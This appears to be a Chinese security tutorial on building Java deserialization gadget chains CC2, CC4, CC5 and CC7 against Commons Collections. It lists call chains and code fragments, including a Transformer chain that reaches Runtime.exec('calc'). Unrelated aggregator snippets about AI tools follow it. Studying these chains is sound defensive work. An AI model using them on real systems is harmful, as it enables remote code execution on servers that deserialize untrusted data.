news 2026/3/6 8:36:12

JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

知识点:
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5

前面利用链都是使用commons.collections都是3.x版本的,那么来看一下4.x版本有哪些利用方式,把cc2,cc4,cc5,cc7都进行分析。

复现配置:pom.xml添加依赖:CC4版本

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5

一、CC2

cc2中不通过实例化TrAXFilter进行类加载,而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass






















0、获取对象修改成员属性

Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);

反射技术原理

1、TemplatesImpl#newTransformer

需要传入成员变量数据:_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中:在TemplatesImpl#defineTransletClasses()中,_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法,如果 _tfactory为null,此处会抛出 NullPointerException

2、InvokerTransformer

负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}

3、TransformingComparator

Comparator.compare(obj1,obj2)obj1=2obj2=templates

4、PriorityQueue

size=2


二、CC4

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass

0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动

1、ConstantTransformer

new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};

2、InstantiateTransformer

new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})




三、CC5

基本和CC1一致,入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

0、InvokerTransformer

通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型: Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");

1、ConstantTransformer

通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);

2、Transformer[]的设计是为了分步反射调用

Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};

3、LazyMap

反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);

4、TiedMapEntry

通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");

5、BadAttributeValueExpException

调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);





四、CC7

基本和CC1一致,入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/3 22:58:40

Qwen情感计算无响应?Zero-Download方案部署教程

Qwen情感计算无响应&#xff1f;Zero-Download方案部署教程 1. 为什么你总遇到“情感分析没反应”&#xff1f; 你是不是也试过&#xff1a; 下载了十几个模型&#xff0c;结果显存爆满、环境报错、依赖冲突&#xff1b;想做个简单的情感判断&#xff0c;却要装 BERT Token…

作者头像 李华
网站建设 2026/3/5 16:51:46

教育行业语音分析新方案:SenseVoiceSmall课堂互动检测实战

教育行业语音分析新方案&#xff1a;SenseVoiceSmall课堂互动检测实战 1. 为什么课堂需要“听懂”声音的AI&#xff1f; 你有没有想过&#xff0c;一堂45分钟的课里&#xff0c;真正被记录下来的只有板书和PPT&#xff1f;老师讲了什么、学生笑了几次、谁在小声讨论、哪段内容…

作者头像 李华
网站建设 2026/3/4 1:19:50

2026年AI编码入门必看:IQuest-Coder-V1开源模型+弹性GPU部署实战

2026年AI编码入门必看&#xff1a;IQuest-Coder-V1开源模型弹性GPU部署实战 1. 这不是又一个“写代码的AI”&#xff0c;而是能陪你从需求到上线的工程搭档 你有没有过这样的经历&#xff1a;花两小时调通一个API&#xff0c;结果发现文档里藏着个没写的参数&#xff1b;在Co…

作者头像 李华
网站建设 2026/3/5 15:29:11

OCR性能对比实测:CPU与GPU下ResNet18推理速度差异

OCR性能对比实测&#xff1a;CPU与GPU下ResNet18推理速度差异 在实际OCR文字检测任务中&#xff0c;模型推理速度直接决定着服务响应能力、批量处理效率和用户体验。尤其当面对文档扫描、票据识别、移动端截图分析等高频场景时&#xff0c;“等3秒还是等0.2秒”不只是数字差异…

作者头像 李华
网站建设 2026/3/2 18:32:26

CAM++前端页面定制:UI修改实战教程

CAM前端页面定制&#xff1a;UI修改实战教程 1. 为什么需要定制CAM的前端页面 CAM是一个由科哥开发的说话人识别系统&#xff0c;核心能力是判断两段语音是否属于同一人&#xff0c;以及提取192维声纹特征向量。它基于Gradio构建&#xff0c;开箱即用&#xff0c;但默认界面比…

作者头像 李华
网站建设 2026/3/5 9:45:59

告别配置难题!用verl镜像快速启动强化学习项目

告别配置难题&#xff01;用verl镜像快速启动强化学习项目 你是否经历过这样的场景&#xff1a; 想跑一个LLM强化学习实验&#xff0c;光是装PyTorch、vLLM、FlashAttention、Ray、FSDP……就花掉一整天&#xff1f; CUDA版本对不上&#xff0c;torch与transformers版本冲突&a…

作者头像 李华